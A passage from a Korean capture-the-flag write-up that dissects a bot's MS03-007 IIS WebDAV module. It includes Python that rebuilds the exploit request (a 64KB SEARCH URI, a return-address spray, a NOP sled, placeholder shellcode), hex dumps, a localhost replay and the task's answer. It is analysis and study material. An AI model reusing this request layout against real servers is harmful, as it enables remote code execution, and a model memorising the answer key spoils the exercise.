    print("  ret ์Šคํ”„๋ ˆ์ด           : off %d..%d, 0x%04X('%s') x %dํšŒ"
          % (m["spray_start"], m["spray_end"] - 1, RET,
             RET.to_bytes(2, "little").hex(" "), m["spray_n"]))
    print("  NOP ์Šฌ๋ ˆ๋“œ             : off %d..%d (0x90 x %d)"
          % (m["sled_start"], m["sled_end"] - 1, m["sled_end"] - m["sled_start"]))
    print("  jumpcode               : off %d..%d (%d๋ฐ”์ดํŠธ, ์™ธ๋ถ€์‹ฌ๋ณผ)"
          % (m["sled_end"], m["uri_total"] - 1, len(JUMPCODE)))
    print("  ์„ ์–ธํ•œ Content-Length  : %d  (= strlen(body) %d + iShellSize %d)"
          % (m["declared"], len(BODY), len(SHELLCODE)))
    print("  ์‹ค์ œ ๋ณธ๋ฌธ ๊ธธ์ด         : %d  (์„ ์–ธ๋ณด๋‹ค %d ๋งŽ๋‹ค: 0x01 1 + NOP 3 + NOP์Šฌ๋ ˆ๋“œ %d)"
          % (m["req_size"] - req.index(b"\r\n\r\n") - 4,
             (m["req_size"] - req.index(b"\r\n\r\n") - 4) - m["declared"], NOP_SIZE))
    print("  ์‰˜์ฝ”๋“œ ์‹œ์ž‘            : off %d (NOP %d + shellcode %d, ์™ธ๋ถ€์‹ฌ๋ณผ)"
          % (m["sc_at"], NOP_SIZE, len(SHELLCODE)))
    print("  ์ „์ฒด ์š”์ฒญ ํฌ๊ธฐ         : %d ๋ฐ”์ดํŠธ" % m["req_size"])
    print()
    print("[64KB ๊ฒฝ๊ณ„] URI ๋ฅผ ANSIโ†’UTF-16 ๋กœ ๋„“ํžˆ๋ฉด")
    print("  %d ๋ฐ”์ดํŠธ x 2 = %d ๋ฐ”์ดํŠธ > 0xFFFF(%d)"
          % (len(uri), len(uri) * 2, 0xFFFF))
    print("  ์Šคํ”„๋ ˆ์ด 2๋ฐ”์ดํŠธ '02 b1' ์˜ ์™€์ด๋“œ ์ด๋ฏธ์ง€ = '02 00 b1 00' โ†’ DWORD 0x00B10002")
    print()
    print("[๋ณธ๋ฌธ XML]")
    for line in BODY.decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
        print("  " + line)
 
    with open("request.bin", "wb") as f:
        f.write(req)
    print()
    print("[์ €์žฅ] request.bin (%d ๋ฐ”์ดํŠธ)" % len(req))
 
 
if __name__ == "__main__":
    sys.exit(main())
python3 build_request.py

build_request.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” URI ๊ธธ์ด 65536(0x10000), ret ์Šคํ”„๋ ˆ์ด 0xB102 ๋ฅผ 1075ํšŒ, NOP ์Šฌ๋ ˆ๋“œ 63376๋ฐ”์ดํŠธ, ์„ ์–ธ Content-Length 479 ๋Œ€ ์‹ค์ œ ๋ณธ๋ฌธ 583๋ฐ”์ดํŠธ
build_request.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” URI ๊ธธ์ด 65536(0x10000), ret ์Šคํ”„๋ ˆ์ด 0xB102 ๋ฅผ 1075ํšŒ, NOP ์Šฌ๋ ˆ๋“œ 63376๋ฐ”์ดํŠธ, ์„ ์–ธ Content-Length 479 ๋Œ€ ์‹ค์ œ ๋ณธ๋ฌธ 583๋ฐ”์ดํŠธ

์ˆซ์ž๊ฐ€ ๋‹ค ๋‚˜์™”๋‹ค.

์žฌ๊ตฌ์„ฑํ•œ 66,202๋ฐ”์ดํŠธ ์š”์ฒญ์˜ ๊ตฌ์กฐ ๋„์‹ โ€” ์š”์ฒญ ๋ผ์ธ์€ SEARCH / ์™€ ret ์Šคํ”„๋ ˆ์ดยทNOP ์Šฌ๋ ˆ๋“œยทjumpcode ๋กœ ์ •ํ™•ํžˆ 0x10000 ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šฐ๊ณ , ๋ณธ๋ฌธ์€ WebDAV XML ๋’ค์— 0x01ยทNOPยท์‰˜์ฝ”๋“œ๊ฐ€ ๋ถ™๋Š”๋‹ค
์žฌ๊ตฌ์„ฑํ•œ 66,202๋ฐ”์ดํŠธ ์š”์ฒญ์˜ ๊ตฌ์กฐ ๋„์‹ โ€” ์š”์ฒญ ๋ผ์ธ์€ SEARCH / ์™€ ret ์Šคํ”„๋ ˆ์ดยทNOP ์Šฌ๋ ˆ๋“œยทjumpcode ๋กœ ์ •ํ™•ํžˆ 0x10000 ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šฐ๊ณ , ๋ณธ๋ฌธ์€ WebDAV XML ๋’ค์— 0x01ยทNOPยท์‰˜์ฝ”๋“œ๊ฐ€ ๋ถ™๋Š”๋‹ค

์—ฌ๊ธฐ์„œ ์ฝํžˆ๋Š” ๊ฒŒ ์„ธ ๊ฐ€์ง€๋‹ค.

1. URI๊ฐ€ ์ •ํ™•ํžˆ 0x10000์ด๋‹ค. ์•ž์„œ ์‚ฝ์งˆ ํ† ๊ธ€์—์„œ ์ ์—ˆ๋“ฏ / ํ•œ ๊ธ€์ž ๋•์— 65,536์ด ๋œ๋‹ค. ANSI ๋ฌธ์ž์—ด์ด UTF-16์œผ๋กœ ๋„“์–ด์ง„๋‹ค๊ณ  ๋†“๊ณ  ๋ณด๋ฉด 131,072๋ฐ”์ดํŠธ๊ฐ€ ๋˜์–ด 0xFFFF์งœ๋ฆฌ ๋ฒ„ํผ๋ฅผ ๊ทธ๋ƒฅ ๋„˜๊ธด๋‹ค. ์ด๊ฑด ํŠน์ • ๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๊ฒจ๋ˆˆ ์ˆซ์ž์ง€, ๊ทธ๋ƒฅ ํฌ๊ฒŒ ์žก์€ ๊ฐ’์ด ์•„๋‹ˆ๋‹ค.

2. ์•ž๋จธ๋ฆฌ 2,150๋ฐ”์ดํŠธ๊ฐ€ 0xB102 ๋ฐ˜๋ณต์ด๋‹ค. unsigned short ret์ด๋ผ๋Š” ๋ณ€์ˆ˜ ์ด๋ฆ„ ๊ทธ๋Œ€๋กœ, ๋ฎ์–ด์“ธ ๋ณต๊ท€ ์ฃผ์†Œ ํ›„๋ณด๋ฅผ ์ด˜์ด˜ํžˆ ๊น”์•„ ๋‘” ์Šคํ”„๋ ˆ์ด๋‹ค. ๋’ค์ด์–ด 63,376๋ฐ”์ดํŠธ์งœ๋ฆฌ 0x90 NOP ์Šฌ๋ ˆ๋“œ๊ฐ€ ์˜ค๊ณ , ๋งจ ๋ 8๋ฐ”์ดํŠธ๋งŒ jumpcode๋‹ค. ์Šคํƒ ์–ด๋”˜๊ฐ€์— ์ •ํ™•ํžˆ ์ฐฉ์ง€ํ•˜์ง€ ๋ชปํ•ด๋„ ์Šฌ๋ ˆ๋“œ ์œ„ ์–ด๋””๋“  ๋–จ์–ด์ง€๋ฉด ํ˜๋Ÿฌ๊ฐ€๊ฒŒ ๋งŒ๋“  ๋ฐฐ์น˜๋‹ค.

๋‹ค๋งŒ ์ด ๋‘ ๋ฐ”์ดํŠธ๊ฐ€ ์–ด๋А DWORD ์ž๋ฆฌ์—์„œ ์ €์žฅ๋œ ๋ณต๊ท€ ์ฃผ์†Œ๋ฅผ ๋ฎ๋А๋ƒ๋Š” ์—ฌ๊ธฐ์„œ ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค. ์ทจ์•ฝํ•œ Windows ํ‘œ์ ์ด ์žˆ์–ด์•ผ ์•Œ ์ˆ˜ ์žˆ๋Š” ๋ถ€๋ถ„์ด๋ผ, ์ด ๊ธ€์—์„œ๋Š” "๋ณต๊ท€ ์ฃผ์†Œ ์Šคํ”„๋ ˆ์ด"๋ผ๋Š” ๊ตฌ์กฐ๊นŒ์ง€๋งŒ ์‚ฌ์‹ค๋กœ ๋‘”๋‹ค.

3. Content-Length๊ฐ€ 104๋ฐ”์ดํŠธ ๋ชจ์ž๋ผ๋‹ค. ์„ ์–ธ์€ 479์ธ๋ฐ ์‹ค์ œ๋กœ ๋ณด๋‚ด๋Š” ๋ณธ๋ฌธ์€ 583๋ฐ”์ดํŠธ๋‹ค. strlen(body)+iShellSize๋งŒ ์„ธ๊ณ  ์‚ฌ์ด์— ๋‚€ 0x01 1๋ฐ”์ดํŠธ, NOP 3๋ฐ”์ดํŠธ, ๊ทธ๋ฆฌ๊ณ  ์‰˜์ฝ”๋“œ ์•ž์˜ NOP ์Šฌ๋ ˆ๋“œ 100๋ฐ”์ดํŠธ๋ฅผ ์•ˆ ์…Œ๋‹ค. ํ‘œ์ ์ด ๋ณธ๋ฌธ์„ ์„ฑ์‹คํžˆ ํŒŒ์‹ฑํ•˜์ง€ ์•Š์„ ๊ฑธ ์•Œ๊ณ  ์ง  ์ฝ”๋“œ๋‹ค โ€” ์–ด์ฐจํ”ผ ํŒŒ์‹ฑ ์ „์— URI์—์„œ ๋„˜์น  ํ…Œ๋‹ˆ๊นŒ.

ํ•œ ๊ฐ€์ง€ ๋”. ๋งˆ์ง€๋ง‰ ์ค„์ด iReqSize=strlen(szReqBuf);์ธ๋ฐ, ์ด๋Ÿฌ๋ฉด ์‰˜์ฝ”๋“œ์— NUL ๋ฐ”์ดํŠธ๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ๊ฑฐ๊ธฐ์„œ ์š”์ฒญ์ด ์ž˜๋ฆฐ๋‹ค. ์ด ์ฝ”๋“œ๋Š” NUL-free ์‰˜์ฝ”๋“œ๋ฅผ ์“ด๋‹ค๋Š” ์ „์ œ ์œ„์— ์„œ ์žˆ๋‹ค.


๐Ÿ”Ž ํ—ฅ์Šค๋คํ”„๋กœ ํ™•์ธ โ€” ๊ฒฝ๊ณ„๊ฐ€ ๋ˆˆ์— ๋ณด์ธ๋‹ค

xxd -l 96 request.bin

xxd ๋กœ ๋ณธ ์š”์ฒญ ์•ž 96๋ฐ”์ดํŠธ โ€” SEARCH / ๋‹ค์Œ์— 0x90 ์ด ํ•˜๋‚˜ ์˜ค๊ณ  ๊ทธ ๋’ค๋กœ 02 b1 ์ด ๊ณ„์† ๋ฐ˜๋ณต๋œ๋‹ค
xxd ๋กœ ๋ณธ ์š”์ฒญ ์•ž 96๋ฐ”์ดํŠธ โ€” SEARCH / ๋‹ค์Œ์— 0x90 ์ด ํ•˜๋‚˜ ์˜ค๊ณ  ๊ทธ ๋’ค๋กœ 02 b1 ์ด ๊ณ„์† ๋ฐ˜๋ณต๋œ๋‹ค

53 45 41 52 43 48 20 2f(SEARCH /) โ†’ 90 โ†’ 02 b1 02 b1 โ€ฆ. ์†Œ์Šค์™€ ํ•œ ๋ฐ”์ดํŠธ๋„ ์–ด๊ธ‹๋‚˜์ง€ ์•Š๋Š”๋‹ค.

URI๊ฐ€ ๋๋‚˜๋Š” ์ž๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋” ๋ถ„๋ช…ํ•˜๋‹ค.

xxd -s 65520 -l 288 request.bin

xxd ๋กœ ๋ณธ ์˜คํ”„์…‹ 0xfff0 ๋ถ€๊ทผ โ€” NOP ์Šฌ๋ ˆ๋“œ๊ฐ€ ๋๋‚˜๊ณ  jumpcode ๊ฐ€ ์˜คํ”„์…‹ 0x10000 ์ง์ „์—์„œ ๋๋‚œ ๋’ค " HTTP/1.1" ๊ณผ ํ—ค๋”, ๊ทธ๋ฆฌ๊ณ  DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค XML ๋ณธ๋ฌธ์ด ์ด์–ด์ง„๋‹ค
xxd ๋กœ ๋ณธ ์˜คํ”„์…‹ 0xfff0 ๋ถ€๊ทผ โ€” NOP ์Šฌ๋ ˆ๋“œ๊ฐ€ ๋๋‚˜๊ณ  jumpcode ๊ฐ€ ์˜คํ”„์…‹ 0x10000 ์ง์ „์—์„œ ๋๋‚œ ๋’ค " HTTP/1.1" ๊ณผ ํ—ค๋”, ๊ทธ๋ฆฌ๊ณ  DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค XML ๋ณธ๋ฌธ์ด ์ด์–ด์ง„๋‹ค

00010000 ์ค„์—์„œ cc ๋ฐ”์ดํŠธ(์ž๋ฆฌํ‘œ์‹œ jumpcode)๊ฐ€ ๋๋‚˜๊ณ  ๊ณง๋ฐ”๋กœ 20 48 54 54 50( HTTP)์ด ์‹œ์ž‘๋œ๋‹ค. URI์˜ ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๊ฐ€ ์˜คํ”„์…‹ 0x10006, ์ฆ‰ /๋ถ€ํ„ฐ ์„ธ๋ฉด ์ •ํ™•ํžˆ 64KB. ๊ทธ ์•„๋ž˜๋กœ Host:, Content-Type: text/xml, Content-Length: 479๊ฐ€ ์ด์–ด์ง€๊ณ  <g:searchrequest xmlns:g="DAV:"> ๋ณธ๋ฌธ์ด ๋ถ™๋Š”๋‹ค. ๋ณธ๋ฌธ ๋ 0190 9090์ด 0x01 + NOP 3๊ฐœ๋‹ค.


๐Ÿงช ์†Œ์ผ“ ์œ„์—์„œ ํ•œ ๋ฒˆ ๋”

ํŒŒ์ผ๋กœ๋งŒ ๋ณด๋ฉด "๋‚ด๊ฐ€ ํŒŒ์ด์ฌ์œผ๋กœ ๋งŒ๋“  ๋ฐ”์ดํŠธ์—ด"์ผ ๋ฟ์ด๋‹ค. ์‹ค์ œ๋กœ TCP๋กœ ํ˜๋ ค์„œ, ๋ฐ›๋Š” ์ชฝ์ด ์ด๊ฑธ ๋ฌด์—‡์œผ๋กœ ์ฝ๋Š”์ง€ ๋ด์•ผ ํ™•์‹คํ•˜๋‹ค. ์ทจ์•ฝํ•œ IIS๋ฅผ ์„ธ์šฐ๋Š” ๊ฒŒ ๋ชฉ์ ์ด ์•„๋‹ˆ๋ผ ์š”์ฒญ ๋ผ์ธ์ด ์ •๋ง WebDAV SEARCH + 64KB URI๋กœ ์„ฑ๋ฆฝํ•˜๋Š”์ง€๋งŒ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
build_request.py ๊ฐ€ ๋งŒ๋“  request.bin ์„ ์‹ค์ œ TCP ์†Œ์ผ“์œผ๋กœ ํ˜๋ ค ๋ณด๋‚ด๊ณ ,
๋ฐ›๋Š” ์ชฝ์—์„œ ๋ฌด์—‡์ด ๋„์ฐฉํ–ˆ๋Š”์ง€ ๋œฏ์–ด ๋ณธ๋‹ค.
 
์ทจ์•ฝํ•œ IIS 5.0 ์„ ์ผœ ๋†“๊ณ  ํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋‹ค. ๋ชฉ์ ์€ ํ•˜๋‚˜ โ€” ์žฌ๊ตฌ์„ฑํ•œ ๋ฐ”์ดํŠธ์—ด์ด
์ง„์งœ HTTP ์š”์ฒญ์œผ๋กœ ์„ฑ๋ฆฝํ•˜๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์š”์ฒญ ๋ผ์ธ์ด ์ •๋ง WebDAV SEARCH + 64KB URI ์ธ์ง€
์†Œ์ผ“ ์œ„์—์„œ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.
"""
import socket
import threading
 
HOST, PORT = "127.0.0.1", 8080
received = {}
 
 
def server():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(1)
    conn, addr = srv.accept()
    chunks = []
    conn.settimeout(2.0)
    try:
        while True:
            b = conn.recv(65536)
            if not b:
                break
            chunks.append(b)
    except socket.timeout:
        pass
    received["peer"] = addr
    received["data"] = b"".join(chunks)
    conn.close()
    srv.close()
 
 
t = threading.Thread(target=server)
t.start()
 
payload = open("request.bin", "rb").read()
cli = socket.create_connection((HOST, PORT))
cli.sendall(payload)
cli.close()
t.join()
 
data = received["data"]
head, _, body = data.partition(b"\r\n\r\n")
reqline, _, hdrs = head.partition(b"\r\n")
method, _, rest = reqline.partition(b" ")
uri, _, ver = rest.rpartition(b" ")
 
print("[์ˆ˜์‹ ] %s:%d ์—์„œ %d ๋ฐ”์ดํŠธ" % (received["peer"][0], received["peer"][1], len(data)))
print("[์š”์ฒญ๋ผ์ธ] method=%s  version=%s" % (method.decode(), ver.decode()))
print("[์š”์ฒญ๋ผ์ธ] URI ๊ธธ์ด = %d ๋ฐ”์ดํŠธ (0x%X)" % (len(uri), len(uri)))
print("[์š”์ฒญ๋ผ์ธ] URI ์•ž 12๋ฐ”์ดํŠธ = %s" % uri[:12].hex(" "))
print("[์š”์ฒญ๋ผ์ธ] URI ๋’ค 12๋ฐ”์ดํŠธ = %s" % uri[-12:].hex(" "))
print("[์š”์ฒญ๋ผ์ธ] URI ๋ฐ”์ดํŠธ ๋ถ„ํฌ = %s"
      % ", ".join("%02x:%d" % (b, uri.count(b)) for b in sorted(set(uri))[:6]))
print()
print("[ํ—ค๋”]")
for h in hdrs.split(b"\r\n"):
    print("  " + h.decode())
print()
print("[๋ณธ๋ฌธ] ์„ ์–ธ Content-Length=%s / ์‹ค์ œ ์ˆ˜์‹  ๋ณธ๋ฌธ=%d ๋ฐ”์ดํŠธ"
      % (dict(h.split(b": ", 1) for h in hdrs.split(b"\r\n"))[b"Content-Length"].decode(), len(body)))
print("[๋ณธ๋ฌธ] XML ๋ถ€๋ถ„:")
xml_end = body.find(b"</g:searchrequest>\r\n") + len(b"</g:searchrequest>\r\n")
for line in body[:xml_end].decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
    print("    " + line)
print("[๋ณธ๋ฌธ] XML ๋’ค์— ๋ถ™์€ %d ๋ฐ”์ดํŠธ = %s ..." % (len(body) - xml_end, body[xml_end:xml_end + 8].hex(" ")))
print("[ํŒ์ •] WebDAV SEARCH ์š”์ฒญ โ€” DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋ณธ๋ฌธ + URI %d(0x%X)๋ฐ”์ดํŠธ"
      % (len(uri), len(uri)))
python3 replay_local.py

replay_local.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์ˆ˜์‹ ํ•œ 66202๋ฐ”์ดํŠธ์—์„œ method=SEARCH, URI ๊ธธ์ด 65536(0x10000), URI ๋ฐ”์ดํŠธ ๋ถ„ํฌ๋Š” 90 ์ด 63377๊ฐœยท02 ์™€ b1 ์ด ๊ฐ 1075๊ฐœ, ๋ณธ๋ฌธ์€ DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค XML ๋’ค์— 448๋ฐ”์ดํŠธ๊ฐ€ ๋” ๋ถ™์–ด ์žˆ๋‹ค
replay_local.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์ˆ˜์‹ ํ•œ 66202๋ฐ”์ดํŠธ์—์„œ method=SEARCH, URI ๊ธธ์ด 65536(0x10000), URI ๋ฐ”์ดํŠธ ๋ถ„ํฌ๋Š” 90 ์ด 63377๊ฐœยท02 ์™€ b1 ์ด ๊ฐ 1075๊ฐœ, ๋ณธ๋ฌธ์€ DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค XML ๋’ค์— 448๋ฐ”์ดํŠธ๊ฐ€ ๋” ๋ถ™์–ด ์žˆ๋‹ค

๋ฐ›๋Š” ์ชฝ์ด ์ฝ์€ ๊ฒฐ๊ณผ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค.

  • method=SEARCH โ€” HTTP ํ‘œ์ค€ ๋ฉ”์„œ๋“œ๊ฐ€ ์•„๋‹ˆ๋‹ค.
  • URI 65,536๋ฐ”์ดํŠธ, ๊ทธ ์•ˆ์— 90์ด 63,377๊ฐœ, 02์™€ b1์ด ๊ฐ๊ฐ 1,075๊ฐœ.
  • ๋ณธ๋ฌธ์€ DAV: ๋„ค์ž„์ŠคํŽ˜์ด์Šค XML, ๊ทธ ๋’ค์— 448๋ฐ”์ดํŠธ๊ฐ€ ๋” ๋ถ™์–ด ์žˆ๊ณ  ์‹œ์ž‘์ด 01 90 90 90.

WebDAV SEARCH ์š”์ฒญ ํ•˜๋‚˜์— 64KB ์˜ค๋ฒ„๋Ÿฐ๊ณผ ์‰˜์ฝ”๋“œ๋ฅผ ์‹ค์–ด ๋ณด๋‚ด๋Š” ์ฝ”๋“œ๋ผ๋Š” ๊ฒŒ ์†Œ์ผ“ ์œ„์—์„œ ํ™•์ธ๋๋‹ค.


๐ŸŽฏ ์ •๋‹ต

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

๊ด€์ฐฐ๊ทผ๊ฑฐ
ํ‘œ์ ์€ ์›น ์„œ๋ฒ„ScanPort(sHost, 80) ํ†ต๊ณผํ•ด์•ผ Exploit ์ง„์ž…
๋ง์„ ๊ฑฐ๋Š” ๋Œ€์ƒ์€ WebDAV๋ณธ๋ฌธ์ด xmlns:g="DAV:" ๋„ค์ž„์ŠคํŽ˜์ด์Šค์˜ searchrequest
์“ฐ๋Š” ๋ฉ”์„œ๋“œ๊ฐ€ WebDAV ์ „์šฉstrcpy(szReqBuf, "SEARCH /")
๊ณต๊ฒฉ ๋ฐฉ์‹์€ URI ์˜ค๋ฒ„๋ŸฐURI๊ฐ€ ์ •ํ™•ํžˆ 0x10000๋ฐ”์ดํŠธ ยท 0xB102 ์Šคํ”„๋ ˆ์ด ยท NOP ์Šฌ๋ ˆ๋“œ
๋ชฉ์ ์€ ์ž๊ฐ€์ „ํŒŒ์‰˜์ฝ”๋“œ์— ๋ด‡์˜ bot_ftrans_portยท๋กœ์ปฌ IP๋ฅผ ์‹ฌ์–ด ์—ฐ๊ฒฐ๋ณต๊ท€

์ด ์กฐํ•ฉ์€ 2003๋…„ IIS 5.0์˜ WebDAV ์ฒ˜๋ฆฌ ๊ฒฝ๋กœ์—์„œ ํ„ฐ์ง„ MS03-007(CVE-2003-0109) ๊ทธ ์ž์ฒด๋‹ค. ์ทจ์•ฝ์  ์ž์ฒด๋Š” ntdll.dll์— ์žˆ์—ˆ์ง€๋งŒ, 64KB๊ฐ€ ๋„˜๋Š” URL์„ ๊ทธ ๊ฒฝ๋กœ๊นŒ์ง€ ์‹ค์–ด ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ํ†ต๋กœ๊ฐ€ WebDAV์˜ SEARCH์˜€๋‹ค. Welchia/Nachi ๊ฐ™์€ ์›œ์ด ์ด๊ฑธ๋กœ ํผ์กŒ๊ณ , ์ด ์ฝ”๋“œ๋Š” ๋ด‡์— ๊ฐ™์€ ๋Šฅ๋ ฅ์„ ๋ถ™์ธ ๋ชจ๋“ˆ์ด๋‹ค.

๋ฌธ์ œ๊ฐ€ ๋ฌป๋Š” "๋ฌด์—‡์„ ๊ณต๊ฒฉํ•˜๋Š”๊ฐ€"์˜ ๋‹ต์€ ์ œํ’ˆ ์ด๋ฆ„(iis)์ด ์•„๋‹ˆ๋ผ ๊ทธ ์ œํ’ˆ์˜ ์–ด๋А ๋ถ€๋ถ„์ด๋ƒ โ€” webdav ๋‹ค.

webdav

ํ•œ ๋ฐฉ ์žฌํ˜„์šฉ์œผ๋กœ reproduce.sh๋ฅผ ๋‚จ๊ฒจ ๋’€๋‹ค. ๋ฐฐํฌ ํŒŒ์ผ๊ณผ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์žˆ์œผ๋ฉด ์œ„ ๊ณผ์ •์„ ์ˆœ์„œ๋Œ€๋กœ ๋‹ค์‹œ ๋ฐŸ๋Š”๋‹ค.

#!/bin/sh
# [CodeEngn] Malware L02 (DreamHack #369, Silver 4, misc) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
# ๋ฐฐํฌ ์†Œ์Šค ํ•œ ์กฐ๊ฐ๋งŒ ๊ฐ€์ง€๊ณ  "๋ฌด์—‡์„ ๊ณต๊ฒฉํ•˜๋Š”๊ฐ€" ๋ฅผ ๋ฐ”์ดํŠธ๋กœ ํ™•์ •ํ•œ๋‹ค.
#
#   ์‚ฌ์šฉ๋ฒ•:  ./reproduce.sh
#   ๊ฒฐ๊ณผ  :  ์ •๋‹ต ๋ฌธ์ž์—ด webdav ๋ฅผ ๊ทผ๊ฑฐ์™€ ํ•จ๊ป˜ ์ถœ๋ ฅํ•œ๋‹ค.
set -e
cd "$(dirname "$0")"
 
echo "=== 1. ๋ฐฐํฌ ํŒŒ์ผ ==="
file extracted/24FFA091.cpp
wc -lc extracted/24FFA091.cpp
sha256sum extracted/24FFA091.cpp
 
echo
echo "=== 2. WebDAV ์ง€๋ฌธ โ€” body[] ์ƒ์ˆ˜์™€ ์š”์ฒญ ๋ฉ”์„œ๋“œ ==="
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
 
echo
echo "=== 3. IRC ๋ด‡ ์ง€๋ฌธ โ€” ์ด ํŒŒ์ผ์€ ๋ด‡์˜ ์Šค์บ๋„ˆ ๋ชจ๋“ˆ์ด๋‹ค ==="
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
 
echo
echo "=== 4. Exploit() ์ด ๋‚ด๋ณด๋‚ด๋Š” ๋ฐ”์ดํŠธ๋ฅผ ๊ทธ๋Œ€๋กœ ์žฌ๊ตฌ์„ฑ ==="
python3 build_request.py
 
echo
echo "=== 5. ์š”์ฒญ ์•ž๋จธ๋ฆฌ (SEARCH / + 0x90 + ret ์Šคํ”„๋ ˆ์ด) ==="
xxd -l 96 request.bin
 
echo
echo "=== 6. URI ๊ฐ€ ๋๋‚˜๋Š” ์ž๋ฆฌ โ€” ์˜คํ”„์…‹ 0x10000 ๊ฒฝ๊ณ„ ==="
xxd -s 65520 -l 288 request.bin
 
echo
echo "=== 7. ์†Œ์ผ“์œผ๋กœ ์‹ค์ œ๋กœ ํ˜๋ ค ๋ณด๊ณ  ๋ฐ›๋Š” ์ชฝ์—์„œ ํ™•์ธ ==="
python3 replay_local.py
 
echo
echo "=== ์ •๋‹ต ==="
echo "webdav"

๋กœ์ปฌ ํ™˜๊ฒฝ: Ubuntu(๋ฆฌ๋ˆ…์Šค 6.17), Python 3.13, xxd(vim-common), GNU coreutils. ์ทจ์•ฝํ•œ Windows ํ‘œ์ ์€ ์“ฐ์ง€ ์•Š์•˜๊ณ , ์“ธ ํ•„์š”๋„ ์—†์—ˆ๋‹ค โ€” ํŒ์ •์— ํ•„์š”ํ•œ ๊ฑด ์ „๋ถ€ ๋ฐœ์‹  ์ธก ๋ฐ”์ดํŠธ์— ์žˆ๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

๋‹ต์ด ์†Œ์Šค ํ•œ ์ค„์— ์žˆ์–ด๋„, ํ™•์‹ ์€ ๋ฐ”์ดํŠธ์—์„œ ์˜จ๋‹ค. xmlns:g="DAV:"๋งŒ ๋ณด๊ณ  webdav๋ผ๊ณ  ์ฐ์–ด๋„ ๋งž๊ธด ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ๊ฒƒ๋งŒ์œผ๋กœ๋Š” "WebDAV ํ”„๋กœํ† ์ฝœ๋กœ ๋ง์„ ๊ฑธ ๋ฟ ์‹ค์ œ ํ‘œ์ ์€ ๋‹ค๋ฅธ ๊ฒƒ"์ด๋ผ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ๋ชป ์ง€์šด๋‹ค. URI๊ฐ€ ์ •ํ™•ํžˆ 0x10000์ด๋ผ๋Š” ๊ฑธ ํ™•์ธํ•˜๊ณ  ๋‚˜์„œ์•ผ ์ด ์ฝ”๋“œ๊ฐ€ WebDAV ์ฒ˜๋ฆฌ ๊ฒฝ๋กœ์˜ ํŠน์ • ๋ฒ„ํผ๋ฅผ ๊ฒจ๋ˆด๋‹ค๋Š” ๊ฒŒ ๋ถ„๋ช…ํ•ด์กŒ๋‹ค.

๊ธด ์ƒ์ˆ˜๋Š” ๋Œ€๊ฐœ ์˜๋ฏธ๊ฐ€ ์žˆ๋‹ค. 65535, 2150, 100 ๊ฐ™์€ ์ˆซ์ž๊ฐ€ ์†Œ์Šค์— ๋ฐ•ํ˜€ ์žˆ์œผ๋ฉด ๊ทธ ๊ฐ’์ด ์–ด๋””์„œ ์™”๋Š”์ง€ ๋”ฐ์ ธ ๋ณผ ๊ฐ’์–ด์น˜๊ฐ€ ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” 65535๊ฐ€ / ํ•˜๋‚˜์™€ ํ•ฉ์ณ์ ธ 65536์ด ๋˜๋Š” ๊ฒŒ ํ•ต์‹ฌ์ด์—ˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ๋ˆˆ์œผ๋กœ ์ฝ๋Š” ๊ฒƒ๊ณผ ์‹คํ–‰ํ•ด์„œ ์žฌ๋Š” ๊ฒƒ์˜ ์ฐจ์ด๊ฐ€ ๋”ฑ ๊ทธ 1๋ฐ”์ดํŠธ์˜€๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ ๋‚จ๋Š” ๊ฒƒ ์„ธ ๊ฐ€์ง€.

